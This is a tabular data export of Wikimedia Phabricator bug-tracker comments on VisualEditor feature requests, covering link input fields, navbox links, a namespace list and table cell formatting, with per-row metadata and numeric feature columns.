477035,VisualEditor: Link input widget should have separate inputs for target and display text,"@Whatamidoing-WMF Works with Chromium, but not on Firefox (38.0 canonical 1.0 for Ubuntu).",,,1434616721,,PHID-USER-uciss2jl2e4ifxqqk7wk,False,,,PHID-TASK-g66fda6j3q2ga6eul3do,task_subcomment,,True,c1,3,False,,,102,,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,32.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,16.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,"SCREEN_NAME-WMF Works with Chromium, but not on Firefox (38.0 canonical 1.0 for Ubuntu)."
476629,VisualEditor: Link input widget should have separate inputs for target and display text,"@Trizek-WMF:  It's supposed to automagically switch to the External links tab if you type ""http://"" at the start.  Is the automatic detection not working for you?",,,1434563472,,PHID-USER-uf3buojo4ceizjywvyn5,False,,,PHID-TASK-g66fda6j3q2ga6eul3do,task_subcomment,,True,c1,3,False,,,102,,0.0,0.0,0.0,0.0,3.0,6.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,14.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,3.0,3.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,9.0,3.0,17.0,3.0,0.0,9.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,9.0,14.0,3.0,3.0,3.0,0.0,9.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.8857142857142857,0.8571428571428571,"SCREEN_NAME-WMF:  It's supposed to automagically switch to the External links tab if you type ""URL at the start.  Is the automatic detection not working for you?"
476179,VisualEditor: Link input widget should have separate inputs for target and display text,"I've made some edits yesterday evening with VE in order to add an external link. Here is what I did: 

  # select the text
  # click on the link icon
  # type my URL in the field
  # click on ""Done"" button
  # See a red link
  # Realize there is a special tab for external links
  # Start again...

The same happens to me quite all the time. :/",,,1434530659,,PHID-USER-uciss2jl2e4ifxqqk7wk,False,,,PHID-TASK-g66fda6j3q2ga6eul3do,task_subcomment,,True,c1,3,False,,,102,,2.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,2.0,1.0,0.0,0.0,1.0,5.0,0.0,2.0,9.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,2.0,0.0,1.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,9.0,2.0,12.0,0.0,0.0,13.0,0.0,1.0,0.0,8.0,7.0,0.0,0.0,0.0,5.0,9.0,2.0,0.0,2.0,0.0,5.0,0.0,1.0,4.0,1.0,0.0,0.0,0.0,0.0,3.3176470588235296,0.6941176470588235,"I've made some edits yesterday evening with VE in order to add an external link. Here is what I did: 

  # select the text
  # click on the link icon
  # type my URL in the field
  # click on ""Done"" button
  # See a red link
  # Realize there is a special tab for external links
  # Start again...

The same happens to me quite all the time. :/"
494927,VisualEditor: Link input widget should have separate inputs for target and display text,"Copy Google Docs solution?

To elaborate, I don't think that labelling this solution as ""ugly"" is a strong rationale to why it shouldn't actually work for us. I'm fairly sure there must be a fair amount of research behind something that Google came up with for millions of people, and editors are constantly confused by our current interface instead.",,,1437581407,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-g66fda6j3q2ga6eul3do,task_subcomment,,True,c1,3,False,,,107,,0.0,1.0,0.0,1.0,3.0,7.0,3.0,0.0,0.0,0.0,3.0,4.0,0.0,0.0,1.0,6.0,0.0,10.0,17.0,1.0,1.0,3.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,6.0,1.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,3.0,1.0,0.0,0.0,0.0,0.0,10.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,4.0,0.0,1.0,0.0,0.0,0.0,3.0,4.0,10.0,3.0,1.0,4.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,17.0,4.0,1.0,3.0,0.0,7.0,0.0,3.0,3.0,1.0,1.0,0.0,0.0,0.0,4.185714285714286,0.8428571428571429,"Copy Google Docs solution?

To elaborate, I don't think that labelling this solution as ""ugly"" is a strong rationale to why it shouldn't actually work for us. I'm fairly sure there must be a fair amount of research behind something that Google came up with for millions of people, and editors are constantly confused by our current interface instead."
250406,VisualEditor: Link input widget should have separate inputs for target and display text,Copy Google Docs solution?,,,1409658400,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-g66fda6j3q2ga6eul3do,task_subcomment,,True,c1,3,False,,,61,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,60.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,40.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.6,1.0,Copy Google Docs solution?
250399,VisualEditor: Link input widget should have separate inputs for target and display text,*** Bug 51438 has been marked as a duplicate of this bug. ***,,,1395196870,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-g66fda6j3q2ga6eul3do,task_subcomment,,True,c1,3,True,,,37,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 51438 has been marked as a duplicate of this bug. ***
250394,VisualEditor: Link input widget should have separate inputs for target and display text,"This is not a WONTFIX, but it comes close in terms of making the user experience too heavy (for detailed reasoning, see endless bugs passim).",,,1395196770,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-g66fda6j3q2ga6eul3do,task_subcomment,,True,c1,3,True,,,37,,0.0,0.0,0.0,0.0,3.0,10.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,3.0,7.0,0.0,3.0,10.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,10.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,3.9,0.9666666666666667,"This is not a WONTFIX, but it comes close in terms of making the user experience too heavy (for detailed reasoning, see endless bugs passim)."
55099,VisualEditor: Let template's navboxes (VTE links) be used in VE edit move,"<< Currently when you click on a template with the ""VTE"" (view, talk page, edit) links, Visual Editor gives you the option of adding parameters to the transclusion of the template. Most of the templates with the ""VTE"" links are navigational boxes or other transcluded items without parameters, but as the VTE links suggest, we want people to easily view the template page itself. Maybe if someone clicks on a template with VTE links in Visual Editor, rather than being given the regular option to add parameters they should instead be given a dialogue box saying something along the lines of ""This is a template that appears on many pages. Would you like to open this template's page in a new tab?"". —[[User:Arctic.gnome|Arctic Gnome]] <small>([[User talk:Arctic.gnome|talk]] • [[Special:Contributions/Arctic.gnome|contribs]])</small> 13:45, 20 August 2013 (UTC) >>

--------------------------
**Version**: unspecified
**Severity**: enhancement",Lowest,10.0,1377012600,,PHID-USER-wil4b5lylrvf3krixlkl,True,,False,PHID-TASK-jtv2xb4ipsbwnbem7fka,task_description,open,True,c1,3,False,False,,7,,0.5,1.0,0.0,1.0,0.0,5.0,1.0,0.0,0.0,0.5,2.5,0.0,0.0,0.0,0.0,0.5,0.0,3.0,10.5,1.0,1.5,0.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.5,0.5,4.0,0.0,0.5,2.0,1.5,0.5,0.0,0.5,0.5,0.0,0.5,0.0,3.5,0.0,0.0,0.0,0.5,0.0,15.5,0.5,0.5,0.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.5,0.0,0.0,0.5,0.0,7.5,2.0,12.0,1.0,1.0,8.5,0.0,0.0,0.0,0.0,3.0,0.0,1.5,0.0,3.0,10.5,5.5,0.5,3.0,0.0,3.0,0.0,1.0,2.5,0.5,1.0,0.0,0.5,5.5,4.127551020408163,0.6632653061224489,"<< Currently when you click on a template with the ""VTE"" (view, talk page, edit) links, Visual Editor gives you the option of adding parameters to the transclusion of the template. Most of the templates with the ""VTE"" links are navigational boxes or other transcluded items without parameters, but as the VTE links suggest, we want people to easily view the template page itself. Maybe if someone clicks on a template with VTE links in Visual Editor, rather than being given the regular option to add parameters they should instead be given a dialogue box saying something along the lines of ""This is a template that appears on many pages. Would you like to open this template's page in a new tab?"". —[[User:Arctic.gnome|Arctic Gnome]] <small>([[User talk:Arctic.gnome|talk]] • [[Special:Contributions/Arctic.gnome|contribs]])</small> 13:45, 20 August 2013 (UTC) >>

--------------------------
**Version**: unspecified
**Severity**: enhancement"
248364,VisualEditor: Let template's navboxes (VTE links) be used in VE edit move,"Bug 49772 - VisualEditor: Transclusion dialogs panes should include a link to the template's definition page (for further documentation) 
looks relevant. 

The V.T.E links are a specific of the way things are organised on en.wikipedia See for example the nav box template at the bottom of 
http://en.wikipedia.org/wiki/When_an_Old_Cricketer_Leaves_the_Crease

I suspect bug 49772 will be a more general solution.",,,1377021493,,PHID-USER-7hrs7wwclcldf7mm6a7o,True,,,PHID-TASK-jtv2xb4ipsbwnbem7fka,task_subcomment,,True,c1,3,False,,,7,,0.0,0.0,0.0,1.0,0.0,4.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,10.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,7.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,4.0,12.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,4.0,0.0,3.0,0.0,1.0,10.0,6.0,0.0,0.0,0.0,1.0,0.0,0.0,4.0,0.0,0.0,1.0,0.0,0.0,4.358208955223881,0.8059701492537313,"Bug 49772 - VisualEditor: Transclusion dialogs panes should include a link to the template's definition page (for further documentation) 
looks relevant. 

The V.T.E links are a specific of the way things are organised on en.wikipedia See for example the nav box template at the bottom of 
URL

I suspect bug 49772 will be a more general solution."
54188,VisualEditor: The alpha opt-in user preference description includes a hardcoded and incorrect list of namespaces,"

--------------------------
**Version**: unspecified
**Severity**: minor
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=51527",Lowest,10.0,1375013100,1385396577.0,PHID-USER-sryrz6tgcfnnsiddx32p,False,,False,PHID-TASK-zsmkxbjmo6bthiyirco6,task_description,resolved,True,c1,3,False,False,False,3,,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.142857142857143,0.42857142857142855,"

--------------------------
**Version**: unspecified
**Severity**: minor
**See Also**:
URL"
244506,VisualEditor: The alpha opt-in user preference description includes a hardcoded and incorrect list of namespaces,"This was re-filed as bug 56205 and fixed in October.

*** This bug has been marked as a duplicate of bug 56205 ***",,,1385396577,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-zsmkxbjmo6bthiyirco6,task_subcomment,,True,c1,3,True,,,21,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,10.0,0.0,3.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,16.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.6774193548387096,"This was re-filed as bug 56205 and fixed in October.

*** This bug has been marked as a duplicate of bug 56205 ***"
244501,VisualEditor: The alpha opt-in user preference description includes a hardcoded and incorrect list of namespaces,"With the VE being enabled in Help, File & Category pages, this message is now incorrect on en.wp (and others?) too.",,,1383118394,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-zsmkxbjmo6bthiyirco6,task_subcomment,,True,c1,3,False,,,17,,0.0,0.0,0.0,4.0,0.0,4.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,7.0,19.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,19.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5185185185185186,0.9629629629629629,"With the VE being enabled in Help, File & Category pages, this message is now incorrect on en.wp (and others?) too."
244497,VisualEditor: The alpha opt-in user preference description includes a hardcoded and incorrect list of namespaces,"(In reply to comment #1)
> Do you mean 
> https://www.mediawiki.org/wiki/Manual:$wgContentNamespaces

Presumably.

> Is VE enabled in other content namespaces?

Only on MediaWiki.org and the test wikis (where the alpha opt-in preference is not shown). Everywhere else, it's just NS0 (articles) and NS2 (user pages).",,,1375136842,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-zsmkxbjmo6bthiyirco6,task_subcomment,,True,c1,3,True,,,4,,0.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,2.0,0.0,0.0,0.0,11.0,7.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,18.0,2.0,4.0,4.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,2.0,7.0,7.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3454545454545452,0.7272727272727273,"(In reply to comment #1)
QUOTE
QUOTE

Presumably.

QUOTE

Only on MediaWiki.org and the test wikis (where the alpha opt-in preference is not shown). Everywhere else, it's just NS0 (articles) and NS2 (user pages)."
244494,VisualEditor: The alpha opt-in user preference description includes a hardcoded and incorrect list of namespaces,"Do you mean 
https://www.mediawiki.org/wiki/Manual:$wgContentNamespaces
Is VE enabled in other content namespaces?",,,1375135683,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-zsmkxbjmo6bthiyirco6,task_subcomment,,True,c1,3,False,,,4,,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,7.0,7.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5714285714285716,0.9285714285714286,"Do you mean 
URL
Is VE enabled in other content namespaces?"
54180,Be able to set table cell background (and other formatting options),"**Author:** `jonathan_haas`

**Description:**
It's currently impossible to change table cell background VE

See for example http://de.wikipedia.org/wiki/Suriyakati-Kalender

**See also**
* Open subtasks of {T49780} ",Lowest,10.0,1375007580,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-ppmnn62nd4u24sclez4h,task_description,open,True,c1,3,False,False,,3,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,7.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,5.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,2.0,7.0,9.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.2790697674418605,0.6511627906976745,"**Author:** CODE

**Description:**
It's currently impossible to change table cell background VE

See for example URL

**See also**
* Open subtasks of {T49780} "
1802095,Be able to set table cell background (and other formatting options),,,,1634434555,,PHID-USER-6q5jenpm75klo2spmch3,False,,,PHID-TASK-ppmnn62nd4u24sclez4h,task_subcomment,,True,c1,3,False,,,432,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,nan
1741412,Be able to set table cell background (and other formatting options),,,,1624208185,,PHID-USER-6q5jenpm75klo2spmch3,False,,,PHID-TASK-ppmnn62nd4u24sclez4h,task_subcomment,,True,c1,3,False,,,415,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,nan
1410570,Be able to set table cell background (and other formatting options),This was requested again at https://www.mediawiki.org/wiki/Topic:Vcflv3wnvk90yycr by @Guarapiranga.  I think that this or similar requests appear a couple of times each year.,,,1576212562,,PHID-USER-uf3buojo4ceizjywvyn5,False,,,PHID-TASK-ppmnn62nd4u24sclez4h,task_subcomment,,True,c1,3,False,,,336,,4.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,12.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,8.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,17.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,12.0,4.0,4.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,12.0,8.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.208333333333333,0.9583333333333334,This was requested again at URL bySCREEN_NAME.  I think that this or similar requests appear a couple of times each year.
639257,Be able to set table cell background (and other formatting options),">>! In T54180#2169644, @Whatamidoing-WMF wrote:
> If random color should not be ""doable"" on the grounds that there's no reasonable use case for it, then James F wouldn't have recommended using ""random color"" in this edit:  https://www.mediawiki.org/w/index.php?diff=1647707&oldid=1647704  But he did, and therefore there is a reasonable use case to be made for having that ability.

Please re-read my comment, where I accepted highlighting, as in a table, as a valid use case. But I'm also going to point out that the same information can and should be conveyed by a class, so that we can better enforce accessibility, if no other reason.

See also {T37704} and {T89134}.",,,1459597392,,PHID-USER-yawytiq5q7eduxmvnkid,False,,,PHID-TASK-ppmnn62nd4u24sclez4h,task_subcomment,,True,c1,3,False,,,143,,0.0,0.0,0.0,1.0,0.0,4.0,0.0,0.0,0.0,1.0,4.0,1.0,0.0,0.0,0.0,6.0,1.0,6.0,15.0,0.0,1.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,3.0,0.0,0.0,1.0,4.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,4.0,1.0,0.0,0.0,0.0,0.0,10.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,1.0,12.0,7.0,4.0,7.0,0.0,0.0,0.0,0.0,7.0,1.0,0.0,0.0,6.0,15.0,3.0,0.0,0.0,0.0,6.0,0.0,1.0,4.0,0.0,3.0,1.0,0.0,0.0,3.486111111111111,0.75,"QUOTE
QUOTE

Please re-read my comment, where I accepted highlighting, as in a table, as a valid use case. But I'm also going to point out that the same information can and should be conveyed by a class, so that we can better enforce accessibility, if no other reason.

See also {T37704} and {T89134}."
639254,Be able to set table cell background (and other formatting options),">>! In T54180#2169644, @Whatamidoing-WMF wrote:
> If random color should not be ""doable"" on the grounds that there's no reasonable use case for it, then James F wouldn't have recommended using ""random color"" in this edit:  https://www.mediawiki.org/w/index.php?diff=1647707&oldid=1647704  But he did, and therefore there is a reasonable use case to be made for having that ability.

Please re-read my comment, where I accepted highlighting, as in a table, as a valid use case. But I'm also going to point out that the same information can and should be conveyed by a class.

See also {T37704} and {T89134}.",,,1459597259,,PHID-USER-yawytiq5q7eduxmvnkid,False,,,PHID-TASK-ppmnn62nd4u24sclez4h,task_subcomment,,True,c1,3,False,,,143,,0.0,0.0,0.0,2.0,0.0,3.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,5.0,2.0,5.0,14.0,0.0,2.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,2.0,0.0,0.0,0.0,0.0,10.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,7.0,2.0,15.0,3.0,5.0,7.0,0.0,0.0,0.0,0.0,7.0,2.0,0.0,0.0,5.0,14.0,3.0,0.0,0.0,0.0,5.0,0.0,2.0,5.0,0.0,3.0,0.0,0.0,0.0,3.3389830508474576,0.7627118644067796,"QUOTE
QUOTE

Please re-read my comment, where I accepted highlighting, as in a table, as a valid use case. But I'm also going to point out that the same information can and should be conveyed by a class.

See also {T37704} and {T89134}."
639247,Be able to set table cell background (and other formatting options),">>! In T54180#2169644, @Whatamidoing-WMF wrote:
> If random color should not be ""doable"" on the grounds that there's no reasonable use case for it, then James F wouldn't have recommended using ""random color"" in this edit:  https://www.mediawiki.org/w/index.php?diff=1647707&oldid=1647704  But he did, and therefore there is a reasonable use case to be made for having that ability.

Please re-read my comment, where I accepted highlighting, as in a table, as a valid use case. But I'm also going to point out that the same information can and should be conveyed by a class.

See also T37704.",,,1459596974,,PHID-USER-yawytiq5q7eduxmvnkid,False,,,PHID-TASK-ppmnn62nd4u24sclez4h,task_subcomment,,True,c1,3,False,,,143,,0.0,0.0,0.0,2.0,0.0,4.0,0.0,0.0,0.0,0.0,6.0,2.0,0.0,0.0,0.0,6.0,2.0,6.0,15.0,0.0,2.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,11.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,8.0,2.0,15.0,4.0,4.0,8.0,0.0,0.0,0.0,0.0,8.0,2.0,0.0,0.0,6.0,15.0,2.0,0.0,0.0,0.0,6.0,0.0,2.0,6.0,0.0,4.0,0.0,0.0,0.0,3.4716981132075473,0.7924528301886793,"QUOTE
QUOTE

Please re-read my comment, where I accepted highlighting, as in a table, as a valid use case. But I'm also going to point out that the same information can and should be conveyed by a class.

See also T37704."
639246,Be able to set table cell background (and other formatting options),">>! In T54180#2169644, @Whatamidoing-WMF wrote:
> If random color should not be ""doable"" on the grounds that there's no reasonable use case for it, then James F wouldn't have recommended using ""random color"" in this edit:  https://www.mediawiki.org/w/index.php?diff=1647707&oldid=1647704  But he did, and therefore there is a reasonable use case to be made for having that ability.

